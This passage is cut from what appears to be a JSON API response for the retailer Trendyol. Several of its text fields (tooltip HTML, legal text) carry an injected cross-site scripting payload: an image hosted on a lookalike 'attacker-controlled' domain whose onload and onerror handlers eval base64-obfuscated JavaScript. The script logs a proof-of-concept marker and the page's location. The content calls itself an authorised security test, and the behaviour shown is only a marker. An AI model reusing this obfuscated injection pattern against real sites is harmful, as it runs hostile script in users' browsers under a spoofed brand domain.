0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","dataTooltipId":"trendyol-appsec-poc","dataTooltipHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>"}],"imageUrls":["https://apigw.trendyol.o-z-z-y.com/poc-banner.svg"],"legalText":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","count":1,"totalCount":1,"itemCount":1,"_catcher":"TRENDYOL-APPSEC-POC","_mode":"marker","_path":"/"}